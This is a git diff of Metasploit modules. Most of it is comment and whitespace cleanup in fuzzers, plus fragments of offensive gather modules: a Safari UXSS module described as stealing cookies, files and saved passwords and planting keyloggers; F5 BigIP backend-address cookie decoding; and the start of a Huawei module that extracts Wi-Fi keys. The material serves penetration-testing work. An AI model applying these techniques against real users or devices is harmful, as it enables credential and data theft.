+ nsopcode=@fuzz_opcode.split(",") + nsclass=@fuzz_class.split(",") begin classns = setup_nsclass(nsclass) raise ArgumentError, "Invalid CLASS: #{nsclass.inspect}" unless classns diff --git a/modules/auxiliary/fuzzers/ftp/client_ftp.rb b/modules/auxiliary/fuzzers/ftp/client_ftp.rb index 9a3adf3340..f28388b2f2 100644 --- a/modules/auxiliary/fuzzers/ftp/client_ftp.rb +++ b/modules/auxiliary/fuzzers/ftp/client_ftp.rb @@ -48,25 +48,17 @@ class Metasploit3 < Msf::Auxiliary false end - - #--------------------------------------------------------------------------------- def setup super @state = {} end - - #--------------------------------------------------------------------------------- - def run @fuzzsize=datastore['STARTSIZE'].to_i exploit() end - #--------------------------------------------------------------------------------- # Handler for new FTP client connections - #--------------------------------------------------------------------------------- - def on_client_connect(c) @state[c] = { :name => "#{c.peerhost}:#{c.peerport}", @@ -75,20 +67,18 @@ class Metasploit3 < Msf::Auxiliary :user => nil, :pass => nil } - #set up an active data port on port 20 + # set up an active data port on port 20 print_status("Client connected : " + c.peerhost) active_data_port_for_client(c, 20) send_response(c,"","WELCOME",220," "+datastore['WELCOME']) - #from this point forward, on_client_data() will take over + # from this point forward, on_client_data() will take over end def on_client_close(c) @state.delete(c) end - #--------------------------------------------------------------------------------- # Active and Passive data connections - #--------------------------------------------------------------------------------- def passive_data_port_for_client(c) @state[c][:mode] = :passive if(not @state[c][:passive_sock]) @@ -140,22 +130,17 @@ class Metasploit3 < Msf::Auxiliary nil end - - - #--------------------------------------------------------------------------------- - # FTP Client-to-Server Command handlers - #--------------------------------------------------------------------------------- - + # FTP Client-to-Server Command handlers def on_client_data(c) - #get the client data + # get the client data data = c.get_once return if not data - #split data into command and arguments + # split data into command and arguments cmd,arg = data.strip.split(/\s+/, 2) arg ||= "" return if not cmd - #convert commands to uppercase and strip spaces + # convert commands to uppercase and strip spaces case cmd.upcase.strip when 'USER' @@ -247,7 +232,7 @@ class Metasploit3 < Msf::Auxiliary return when /^(LIST|NLST|LS)$/ - #special case - requires active/passive connection + # special case - requires active/passive connection print_status("Handling #{cmd.upcase} command") conn = establish_data_connection(c) if(not conn) @@ -289,7 +274,7 @@ class Metasploit3 < Msf::Auxiliary return when 'RETR' - #special case - requires active/passive connection + # special case - requires active/passive connection print_status("Handling #{cmd.upcase} command") conn = establish_data_connection(c) if(not conn) @@ -353,11 +338,7 @@ class Metasploit3 < Msf::Auxiliary return end - - - #--------------------------------------------------------------------------------- # Fuzzer functions - #--------------------------------------------------------------------------------- # Do we need to fuzz this command ? def fuzz_this_cmd(cmd) @@ -421,7 +402,7 @@ class Metasploit3 < Msf::Auxiliary print_status("* Fuzz data sent") incr_fuzzsize() else - #Do not fuzz + # Do not fuzz cmsg = code.to_s + msg cmsg = cmsg.strip c.put("#{cmsg}\r\n") diff --git a/modules/auxiliary/fuzzers/http/http_form_field.rb b/modules/auxiliary/fuzzers/http/http_form_field.rb index d5d84a2569..b115f6dd62 100644 --- a/modules/auxiliary/fuzzers/http/http_form_field.rb +++ b/modules/auxiliary/fuzzers/http/http_form_field.rb @@ -175,14 +175,14 @@ class Metasploit3 < Msf::Auxiliary else datastr = "\r\n" end - #first, check the original header fields and add some others - just for fun + # first, check the original header fields and add some others - just for fun myheaders = @send_data[:headers] mysendheaders = @send_data[:headers].dup - #get or post ? + # get or post ? mysendheaders[:method] = form[:method].upcase myheaders.each do | thisheader | if not headers[thisheader[0]] - #add header if needed + # add header if needed mysendheaders[thisheader[0]]= thisheader[1] end end @@ -300,7 +300,7 @@ class Metasploit3 < Msf::Auxiliary def get_field_val(input) tmp = input.split(/\=/) - #get delimeter + # get delimeter tmp2 = tmp[1].strip delim = tmp2[0,1] if delim != "'" && delim != '"' @@ -316,7 +316,7 @@ class Metasploit3 < Msf::Auxiliary body = body.gsub("\r","") body = body.gsub("\n","") bodydata = body.downcase.split(/<form/) - #we need part after <form + # we need part after <form totalforms = bodydata.size - 1 print_status(" Number of forms : #{totalforms}") formcnt = 0 @@ -326,7 +326,7 @@ class Metasploit3 < Msf::Auxiliary fdata = bodydata[formidx] print_status(" - Enumerating form ##{formcnt+1}") data = fdata.downcase.split(/<\/form>/) - #first, get action and name + # first, get action and name formdata = data[0].downcase.split(/>/) subdata = formdata[0].downcase.split(/ /) namefound = false @@ -375,7 +375,7 @@ class Metasploit3 < Msf::Auxiliary namefound = true formfields = [] - #input boxes + # input boxes fieldtypemarks = [ '<input', '<select' ] fieldtypemarks.each do | currfieldmark | formfieldcnt=0 @@ -386,7 +386,7 @@ class Metasploit3 < Msf::Auxiliary if subdata.size > 1 subdata.each do | thisinput | if skipflag == 1 - #first, find the delimeter + # first, find the delimeter fielddata = thisinput.downcase.split(/>/) fields = fielddata[0].split(/ /) fieldname = "" @@ -408,7 +408,7 @@ class Metasploit3 < Msf::Auxiliary fieldid = get_field_val(thisfield) end if thisfield.match(/^value=/) - #special case + # special case location = fielddata[0].index(thisfield) delta = fielddata[0].size - location remaining = fielddata[0][location,delta] @@ -518,13 +518,13 @@ class Metasploit3 < Msf::Auxiliary formfound = response.body.downcase.index("<form") if formfound formdata = get_form_data(response.body) - #fuzz ! - #for each form that needs to be fuzzed + # fuzz ! + # for each form that needs to be fuzzed formdata.each do | thisform | if thisform[:name].length > 0 if ((datastore['FORM'].strip == "") || (datastore['FORM'].upcase.strip == thisform[:name].upcase.strip)) && (thisform[:fields].size > 0) print_status("Fuzzing fields in form #{thisform[:name].upcase.strip}") - #for each field in this form, fuzz one field at a time + # for each field in this form, fuzz one field at a time formfields = thisform[:fields] formfields.each do | thisfield | if thisfield[:name] @@ -537,7 +537,7 @@ class Metasploit3 < Msf::Auxiliary end print_status("Done fuzzing fields in form #{thisform[:name].upcase.strip}") end - #fuzz headers ? + # fuzz headers ? if datastore['FUZZHEADERS'] == true print_status("Fuzzing header fields") do_fuzz_headers(thisform,response.headers) diff --git a/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb b/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb index fc8a51df57..5d4486fc5e 100644 --- a/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb +++ b/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Fuzzer def initialize(info = {}) diff --git a/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb index 765c1603f6..17ae41ffde 100644 --- a/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb +++ b/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Fuzzer def initialize(info = {}) diff --git a/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb index b3ac1f0a1e..22b0824f1f 100644 --- a/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb +++ b/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Fuzzer def initialize(info = {}) diff --git a/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb b/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb index e66b34050f..a8eec1e014 100644 --- a/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb +++ b/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Fuzzer def initialize(info = {}) diff --git a/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb index 9156563bff..de640033a7 100644 --- a/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb +++ b/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Fuzzer def initialize(info = {}) diff --git a/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb b/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb index 21b19243ae..607d774e18 100644 --- a/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb +++ b/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb @@ -137,7 +137,7 @@ class Metasploit3 < Msf::Auxiliary rescue ::Exception => e last_err = e #ensure - # disconnect + #disconnect end diff --git a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb index 79dec6cbf0..fa826e67d2 100644 --- a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb +++ b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb @@ -4,7 +4,7 @@ ## require 'msf/core' -require 'open-uri' +require 'uri' class Metasploit3 < Msf::Auxiliary @@ -47,9 +47,9 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.webarchive']), - OptString.new('URLS', [ true, 'A space-delimited list of URLs to UXSS (eg http://browserscan.rapid7.com/']), + OptString.new('URLS', [ true, 'A space-delimited list of URLs to UXSS (eg http://rapid7.com http://example.com']), OptString.new('URIPATH', [false, 'The URI to receive the UXSS\'ed data', '/grab']), - OptString.new('DOWNLOAD_PATH', [ true, 'The path to download the webarhive.', '/msf.webarchive']), + OptString.new('DOWNLOAD_PATH', [ true, 'The path to download the webarchive.', '/msf.webarchive']), OptString.new('URLS', [ true, 'The URLs to steal cookie and form data from.', '']), OptString.new('FILE_URLS', [false, 'Additional file:// URLs to steal.', '']), OptBool.new('STEAL_COOKIES', [true, "Enable cookie stealing.", true]), @@ -282,7 +282,7 @@ class Metasploit3 < Msf::Auxiliary end # @return [String] the XML markup to insert into the webarchive for each unique - # iframe (we use one frame per site we want to steal) + # iframe (we use one frame per site we want to steal) # @return '' if msf user does not want to poison cache def webarchive_resources_for_poisoning_cache(url) if not should_install_keyloggers? then return '' end @@ -320,14 +320,14 @@ class Metasploit3 < Msf::Auxiliary | end - # @param [script] hash containing HTTP headers from the request + # @param script [Hash] containing HTTP headers from the request # @return [String] xml markup for serialized WebResourceResponse containing good - # stuff like HTTP/caching headers. Safari appears to do the following: - # NSKeyedArchiver *a = [[NSKeyedArchiver alloc] initForWritingWithMutableData:data]; - # [a encodeObject:response forKey:@"WebResourceResponse"]; + # stuff like HTTP/caching headers. Safari appears to do the following: + # NSKeyedArchiver *a = [[NSKeyedArchiver alloc] initForWritingWithMutableData:data]; + # [a encodeObject:response forKey:@"WebResourceResponse"]; def web_response_xml(script) # this is a serialized NSHTTPResponse, i'm too lazy to write a - # real encoder so yay lets use string interpolation. + # real encoder so yay lets use string interpolation. # ripped this straight out of a webarchive save script['content-length'] = script[:body].length whitelist = %w(content-type content-length date etag @@ -507,7 +507,7 @@ class Metasploit3 < Msf::Auxiliary end # @return [String] mark up for embedding the iframes for each URL in a place that is - # invisible to the user + # invisible to the user def iframes_container_html hidden_style = "position:fixed; left:-600px; top:-600px;" wrap_with_doc do @@ -517,8 +517,8 @@ class Metasploit3 < Msf::Auxiliary end # @return [String] javascript code, wrapped in script tags, that is inserted into the - # WebMainResource (parent) frame so that child frames can communicate "up" to the parent - # and send data out to the listener + # WebMainResource (parent) frame so that child frames can communicate "up" to the parent + # and send data out to the listener def communication_js wrap_with_script do %Q| @@ -543,7 +543,7 @@ class Metasploit3 < Msf::Auxiliary end # @return [String] javascript code, wrapped in a script tag, that steals the cookies - # and response body/headers, and passes them back up to the parent. + # and response body/headers, and passes them back up to the parent. def steal_cookies_for_url(url) wrap_with_script do %Q| @@ -568,8 +568,8 @@ class Metasploit3 < Msf::Auxiliary end # @return [String] javascript code, wrapped in a script tag, that steals local files - # and sends them back to the listener. This code is executed in the WebMainResource (parent) - # frame, which runs in the file:// protocol + # and sends them back to the listener. This code is executed in the WebMainResource (parent) + # frame, which runs in the file:// protocol def steal_files return '' unless should_steal_files? urls_str = [datastore['FILE_URLS'], interesting_file_urls.join(' ')].join(' ') @@ -595,9 +595,9 @@ class Metasploit3 < Msf::Auxiliary end # @return [String] javascript code, wrapped in a script tag, that steals autosaved form - # usernames and passwords. The attack first tries to render the target URL in an iframe, - # and steal populated passwords from there. If the site disables iframes through the - # X-Frame-Options header, we try popping open a new window and rendering the site in that. + # usernames and passwords. The attack first tries to render the target URL in an iframe, + # and steal populated passwords from there. If the site disables iframes through the + # X-Frame-Options header, we try popping open a new window and rendering the site in that. def steal_form_data_for_url(url) wrap_with_script do %Q| @@ -663,8 +663,8 @@ class Metasploit3 < Msf::Auxiliary end # @return [String] javascript code, wrapped in script tag, that adds a helper function - # called "sendData()" that passes the arguments up to the parent frame, where it is - # sent out to the listener + # called "sendData()" that passes the arguments up to the parent frame, where it is + # sent out to the listener def injected_js_helpers wrap_with_script do %Q| @@ -678,7 +678,7 @@ class Metasploit3 < Msf::Auxiliary end # @return [String] HTML markup that includes a script at the URL we want to poison - # We will then install the injected_js_keylogger at the same URL + # We will then install the injected_js_keylogger at the same URL def trigger_cache_poison_for_url(url) url_idx = urls.index(url) scripts_to_poison[url_idx].map { |s| @@ -686,10 +686,10 @@ class Metasploit3 < Msf::Auxiliary }.join end - # @param [String] original_js the original contents of the script file + # @param original_js [String] the original contents of the script file # @return [String] the poisoned contents. Once the module has found a valid 304'd script to - # poison, it "poisons" it by adding a keylogger, then adds the output as a resource with - # appropriate Cache-Control to the webarchive. + # poison, it "poisons" it by adding a keylogger, then adds the output as a resource with + # appropriate Cache-Control to the webarchive. # @return [String] the original contents if msf user does not want to install keyloggers def inject_js_keylogger(original_js) if not should_install_keyloggers? @@ -726,13 +726,13 @@ class Metasploit3 < Msf::Auxiliary end # @return [Array<Array<String>>] list of URLs provided by the user mapped to all of the linked - # javascript assets in its HTML response. + # javascript assets in its HTML response. def all_script_urls(pages) pages.map do |url| results = [] print_status "Fetching URL #{url}..." # fetch and parse the HTML document - doc = Nokogiri::HTML(open(url)) + doc = Nokogiri::HTML(URI.parse(url).open) # recursively add scripts from iframes doc.css('iframe').each do |iframe| print_status "Checking iframe..." @@ -768,8 +768,11 @@ class Metasploit3 < Msf::Auxiliary if script_uri.relative? url = page_uri + url end - io = open(url) - rescue URI::InvalidURIError => e + if url.to_s.starts_with? '//' + url = "#{page_uri.scheme}:#{url}" + end + io = URI.parse(url).open + rescue URI::InvalidURIError, OpenURI::HTTPError next end @@ -826,7 +829,7 @@ class Metasploit3 < Msf::Auxiliary end # @return [Array<String>] of interesting file URLs to steal. Additional files can be stolen - # via the FILE_URLS module option. + # via the FILE_URLS module option. def interesting_file_urls [ 'file:///var/log/weekly.out', # may contain usernames @@ -846,7 +849,7 @@ class Metasploit3 < Msf::Auxiliary (datastore['URLS'] || '').split(/\s+/) end - # @param [String] input the unencoded string + # @param input [String] the unencoded string # @return [String] input with dangerous chars replaced with xml entities def escape_xml(input) input.to_s.gsub("&", "&").gsub("<", "<") diff --git a/modules/auxiliary/gather/coldfusion_pwd_props.rb b/modules/auxiliary/gather/coldfusion_pwd_props.rb index fd0af131bb..0dd09d79aa 100644 --- a/modules/auxiliary/gather/coldfusion_pwd_props.rb +++ b/modules/auxiliary/gather/coldfusion_pwd_props.rb @@ -158,14 +158,14 @@ class Metasploit3 < Msf::Auxiliary filename = "" url = '/CFIDE/administrator/index.cfm' -# print_status("Getting index...") + # print_status("Getting index...") res = send_request_cgi({ 'uri' => url, 'method' => 'GET', 'Connection' => "keep-alive", 'Accept-Encoding' => "zip,deflate", }) -# print_status("Got back: #{res.inspect}") + # print_status("Got back: #{res.inspect}") return if not res return if not res.body or not res.code return if not res.code.to_i == 200 diff --git a/modules/auxiliary/gather/dns_srv_enum.rb b/modules/auxiliary/gather/dns_srv_enum.rb index 1b35c6d047..c844951c6f 100644 --- a/modules/auxiliary/gather/dns_srv_enum.rb +++ b/modules/auxiliary/gather/dns_srv_enum.rb @@ -105,7 +105,7 @@ class Metasploit3 < Msf::Auxiliary def srvqry(dom) results = [] - #Most common SRV Records + # Most common SRV Records srvrcd = [ '_gc._tcp.', '_kerberos._tcp.', '_kerberos._udp.', '_ldap._tcp.', '_test._tcp.', '_sips._tcp.', '_sip._udp.', '_sip._tcp.', '_aix._tcp.', diff --git a/modules/auxiliary/gather/enum_dns.rb b/modules/auxiliary/gather/enum_dns.rb index e25260e9a4..eb4ac20271 100644 --- a/modules/auxiliary/gather/enum_dns.rb +++ b/modules/auxiliary/gather/enum_dns.rb @@ -51,7 +51,6 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - #--------------------------------------------------------------------------------- def switchdns(target) if not datastore['NS'].nil? print_status("Using DNS Server: #{datastore['NS']}") @@ -71,7 +70,7 @@ class Metasploit3 < Msf::Auxiliary end end end - #--------------------------------------------------------------------------------- + def wildcard(target) rendsub = rand(10000).to_s query = @res.query("#{rendsub}.#{target}", "A") @@ -85,7 +84,7 @@ class Metasploit3 < Msf::Auxiliary return false end end - #--------------------------------------------------------------------------------- + def genrcd(target) print_status("Retrieving general DNS records") query = @res.search(target) @@ -167,7 +166,7 @@ class Metasploit3 < Msf::Auxiliary end end end - #--------------------------------------------------------------------------------- + def tldexpnd(targetdom,nssrv) target = targetdom.scan(/(\S*)[.]\w*\z/).join target.chomp! @@ -178,13 +177,13 @@ class Metasploit3 < Msf::Auxiliary i, a = 0, [] tlds = [ "com", "org", "net", "edu", "mil", "gov", "uk", "af", "al", "dz", - "as", "ad", "ao", "ai", "aq", "ag", "ar", "am", "aw", "ac","au", + "as", "ad", "ao", "ai", "aq", "ag", "ar", "am", "aw", "ac", "au", "at", "az", "bs", "bh", "bd", "bb", "by", "be", "bz", "bj", "bm", "bt", "bo", "ba", "bw", "bv", "br", "io", "bn", "bg", "bf", "bi", "kh", "cm", "ca", "cv", "ky", "cf", "td", "cl", "cn", "cx", "cc", - "co", "km", "cd", "cg", "ck", "cr", "ci", "hr", "cu", "cy", "cz", + "co", "km", "cd", "cg", "ck", "cr", "ci", "hr", "cu", "cy", "cz", "dk", "dj", "dm", "do", "tp", "ec", "eg", "sv", "gq", "er", "ee", - "et", "fk", "fo", "fj", "fi", "fr", "gf", "pf", "tf", "ga", "gm", + "et", "fk", "fo", "fj", "fi", "fr", "gf", "pf", "tf", "ga", "gm", "ge", "de", "gh", "gi", "gr", "gl", "gd", "gp", "gu", "gt", "gg", "gn", "gw", "gy", "ht", "hm", "va", "hn", "hk", "hu", "is", "in", "id", "ir", "iq", "ie", "im", "il", "it", "jm", "jp", "je", "jo", @@ -221,7 +220,6 @@ class Metasploit3 < Msf::Auxiliary end - #------------------------------------------------------------------------------- def dnsbrute(target, wordlist, nssrv) print_status("Running bruteforce against domain #{target}") arr = [] @@ -250,7 +248,6 @@ class Metasploit3 < Msf::Auxiliary end end - #------------------------------------------------------------------------------- def bruteipv6(target, wordlist, nssrv) print_status("Bruteforcing IPv6 addresses against domain #{target}") arr = [] @@ -283,7 +280,6 @@ class Metasploit3 < Msf::Auxiliary - #------------------------------------------------------------------------------- def reverselkp(iprange,nssrv) print_status("Running reverse lookup against IP range #{iprange}") if not nssrv.nil? @@ -327,12 +323,12 @@ class Metasploit3 < Msf::Auxiliary tl.delete_if { |t| not t.alive? } end end - #------------------------------------------------------------------------------- - #SRV Record Enumeration + + # SRV Record Enumeration def srvqry(dom,nssrv) print_status("Enumerating SRV records for #{dom}") i, a = 0, [] - #Most common SRV Records + # Most common SRV Records srvrcd = [ "_gc._tcp.","_kerberos._tcp.", "_kerberos._udp.","_ldap._tcp","_test._tcp.", "_sips._tcp.","_sip._udp.","_sip._tcp.","_aix._tcp.","_aix._tcp.","_finger._tcp.", @@ -354,8 +350,7 @@ class Metasploit3 < Msf::Auxiliary end end - #------------------------------------------------------------------------------- - #For Performing Zone Transfers + # For Performing Zone Transfers def axfr(target, nssrv) print_status("Performing zone transfer against all nameservers in #{target}") if not nssrv.nil? @@ -387,7 +382,7 @@ class Metasploit3 < Msf::Auxiliary :type => 'dns.enum', :update => :unique_data, :data => "Zone transfer successful") - #Prints each record according to its type + # Prints each record according to its type zone.each do |response| response.answer.each do |rr| begin @@ -475,7 +470,7 @@ class Metasploit3 < Msf::Auxiliary :data => "#{rr.host},#{rr.port},#{rr.priority},SRV") end rescue ActiveRecord::RecordInvalid - #Do nothing. Probably tried to store :host => 127.0.0.1 + # Do nothing. Probably tried to store :host => 127.0.0.1 end end end diff --git a/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb b/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb index 0455124f69..5888a134e7 100644 --- a/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb +++ b/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb @@ -15,9 +15,16 @@ class Metasploit3 < Msf::Auxiliary 'Name' => 'F5 BigIP Backend Cookie Disclosure', 'Description' => %q{ This module identifies F5 BigIP load balancers and leaks backend - information through cookies inserted by the BigIP devices. + information (pool name, backend's IP address and port, routed domain) + through cookies inserted by the BigIP system. }, - 'Author' => [ 'Thanat0s <thanspam[at]trollprod.org>' ], + 'Author' => + [ + 'Thanat0s <thanspam[at]trollprod.org>', + 'Oleg Broslavsky <ovbroslavsky[at]gmail.com>', + 'Nikita Oleksov <neoleksov[at]gmail.com>', + 'Denis Kolegov <dnkolegov[at]gmail.com>' + ], 'References' => [ ['URL', 'http://support.f5.com/kb/en-us/solutions/public/6000/900/sol6917.html'], @@ -34,7 +41,7 @@ class Metasploit3 < Msf::Auxiliary end def change_endianness(value, size=4) - conversion = value + conversion = nil if size == 4 conversion = [value].pack("V").unpack("N").first @@ -46,21 +53,30 @@ class Metasploit3 < Msf::Auxiliary end def cookie_decode(cookie_value) - back_end = "" - - if cookie_value =~ /(\d{8})\.(\d{5})\./ + if cookie_value =~ /(\d{8,10})\.(\d{1,5})\./ host = $1.to_i port = $2.to_i - host = change_endianness(host) host = Rex::Socket.addr_itoa(host) - port = change_endianness(port, 2) - - back_end = "#{host}:#{port}" + elsif cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/ + host = $1.to_i(16) + port = $2.to_i + host = Rex::Socket.addr_itoa(host) + elsif cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/ + host = $1.to_i(16) + port = $2.to_i + host = Rex::Socket.addr_itoa(host, v6=true) + port = change_endianness(port, 2) + elsif cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/ + host = $1.to_i(16) + port = $2.to_i + host = Rex::Socket.addr_itoa(host, v6=true) + elsif cookie_value =~ /!.{104}/ + host = nil + port = nil end - - back_end + host.nil? ? nil : "#{host}:#{port}" end def get_cookie # request a page and extract a F5 looking cookie. @@ -71,13 +87,17 @@ class Metasploit3 < Msf::Auxiliary }) unless res.nil? - # Get the SLB session ID, like "TestCookie=2263487148.3013.0000" - m = res.get_cookies.match(/([\-\w\d]+)=((?:\d+\.){2}\d+)(?:$|,|;|\s)/) - unless m.nil? - cookie[:id] = (m.nil?) ? nil : m[1] - cookie[:value] = (m.nil?) ? nil : m[2] - end - end + # Get the SLB session IDs for all cases: + # 1. IPv4 pool members - "BIGipServerWEB=2263487148.3013.0000", + # 2. IPv4 pool members in non-default routed domains - "BIGipServerWEB=rd5o00000000000000000000ffffc0000201o80", + # 3. IPv6 pool members - "BIGipServerWEB=vi20010112000000000000000000000030.20480", + # 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80", + # 5. Encrypted cookies - "BIGipServerWEB=!dcdlUciYEFlt1QzXtD7QKx22XJx7Uuj2I0dYdFTwJASsJyJySME9/GACjztr7WYJIvHxTSNreeve7foossGzKS3vT9ECJscSg1LAc3rc" + + m = res.get_cookies.match(/([~_\.\-\w\d]+)=(((?:\d+\.){2}\d+)|(rd\d+o0{20}f{4}\w+o\d{1,5})|(vi([a-f0-9]{32})\.(\d{1,5}))|(rd\d+o([a-f0-9]{32})o(\d{1,5}))|(!(.){104}))(?:$|,|;|\s)/) + cookie[:id] = m.nil? ? nil : m[1] + cookie[:value] = m.nil? ? nil : m[2] + end cookie end @@ -96,17 +116,26 @@ class Metasploit3 < Msf::Auxiliary cookie = get_cookie() # Get the cookie # If the cookie is not found, stop process if cookie.empty? || cookie[:id].nil? - print_error("#{peer} - F5 Server load balancing cookie not found") + print_error("#{peer} - F5 BigIP load balancing cookie not found") break end # Print the cookie name on the first request if i == 0 - print_status("#{peer} - F5 Server load balancing cookie \"#{cookie[:id]}\" found") + print_status("#{peer} - F5 BigIP load balancing cookie \"#{cookie[:id]} = #{cookie[:value]}\" found") + if cookie[:id].start_with?('BIGipServer') + print_status("#{peer} - Load balancing pool name \"#{cookie[:id].split('BIGipServer')[1]}\" found") + end + if cookie[:value].start_with?('rd') + print_status("#{peer} - Route domain \"#{cookie[:value].split('rd')[1].split('o')[0]}\" found") + end + if cookie[:value].start_with?('!') + print_status("#{peer} - F5 BigIP cookie is probably encrypted") + end end back_end = cookie_decode(cookie[:value]) - unless back_ends.include?(back_end) + unless back_end.nil? || back_ends.include?(back_end) print_status("#{peer} - Backend #{back_end} found") back_ends.push(back_end) end diff --git a/modules/auxiliary/gather/flash_rosetta_jsonp_url_disclosure.rb b/modules/auxiliary/gather/flash_rosetta_jsonp_url_disclosure.rb index 81f6e0e5fe..9e5643d353 100644 --- a/modules/auxiliary/gather/flash_rosetta_jsonp_url_disclosure.rb +++ b/modules/auxiliary/gather/flash_rosetta_jsonp_url_disclosure.rb @@ -4,7 +4,6 @@ ## require 'msf/core' -require 'open-uri' require 'uri' class Metasploit3 < Msf::Auxiliary @@ -27,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'Author' => [ 'Michele Spagnuolo', # discovery, wrote rosetta encoder, disclosure - 'joev' # msf module + 'joev' # metasploit module ], 'References' => [ @@ -66,7 +65,7 @@ class Metasploit3 < Msf::Auxiliary def check test_string = Rex::Text.rand_text_alphanumeric(encoded_swf.length) - io = open(exploit_url(test_string)) + io = URI.parse(exploit_url(test_string)).open if io.read.start_with? test_string Msf::Exploit::CheckCode::Vulnerable else diff --git a/modules/auxiliary/gather/huawei_wifi_info.rb b/modules/auxiliary/gather/huawei_wifi_info.rb new file mode 100644 index 0000000000..705b020fd5 --- /dev/null +++ b/modules/auxiliary/gather/huawei_wifi_info.rb @@ -0,0 +1,296 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'base64' +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + BASIC_INFO = { + 'Device Name' => /<DeviceName>(.*)<\/DeviceName>/i, + 'Serial Number' => /<SerialNumber>(.*)<\/SerialNumber>/i, + 'IMEI' => /<Imei>(.*)<\/Imei>/i, + 'IMSI' => /<Imsi>(.*)<\/Imsi>/i, + 'ICCID' => /<Iccid>(.*)<\/Iccid>/i, + 'Hardware Version' => /<HardwareVersion>(.*)<\/HardwareVersion>/i, + 'Software Version' => /<SoftwareVersion>(.*)<\/SoftwareVersion>/i, + 'WebUI Version' => /<WebUIVersion>(.*)<\/WebUIVersion>/i, + 'Mac Address1' => /<MacAddress1>(.*)<\/MacAddress1>/i, + 'Mac Address2' => /<MacAddress2>(.*)<\/MacAddress2>/i, + 'Product Family' => /<ProductFamily>(.*)<\/ProductFamily>/i, + 'Classification' => /<Classify>(.*)<\/Classify>/i + } + + WAN_INFO = { + 'Wan IP Address' => /<WanIPAddress>(.*)<\/WanIPAddress>/i, + 'Primary Dns' => /<PrimaryDns>(.*)<\/PrimaryDns>/i, + 'Secondary Dns' => /<SecondaryDns>(.*)<\/SecondaryDns>/i + } + + DHCP_INFO ={ + 'LAN IP Address' => /<DhcpIPAddress>(.*)<\/DhcpIPAddress>/i, + 'DHCP StartIPAddress' => /<DhcpStartIPAddress>(.*)<\/DhcpStartIPAddress>/i, + 'DHCP EndIPAddress' => /<DhcpEndIPAddress>(.*)<\/DhcpEndIPAddress>/i, + 'DHCP Lease Time' => /<DhcpLeaseTime>(.*)<\/DhcpLeaseTime>/i + } + + WIFI_INFO = { + 'Wifi WPA pre-shared key' => /<WifiWpapsk>(.*)<\/WifiWpapsk>/i, + 'Wifi Auth mode' => /<WifiAuthmode>(.*)<\/WifiAuthmode>/i, + 'Wifi Basic encryption modes' => /<WifiBasicencryptionmodes>(.*)<\/WifiBasicencryptionmodes>/i, + 'Wifi WPA Encryption Modes' => /<WifiWpaencryptionmodes>(.*)<\/WifiWpaencryptionmodes>/i, + 'Wifi WEP Key1' => /<WifiWepKey1>(.*)<\/WifiWepKey1>/i, + 'Wifi WEP Key2' => /<WifiWepKey2>(.*)<\/WifiWepKey2>/i, + 'Wifi WEP Key3' => /<WifiWepKey3>(.*)<\/WifiWepKey3>/i, + 'Wifi WEP Key4' => /<WifiWepKey4>(.*)<\/WifiWepKey4>/i, + 'Wifi WEP Key Index' => 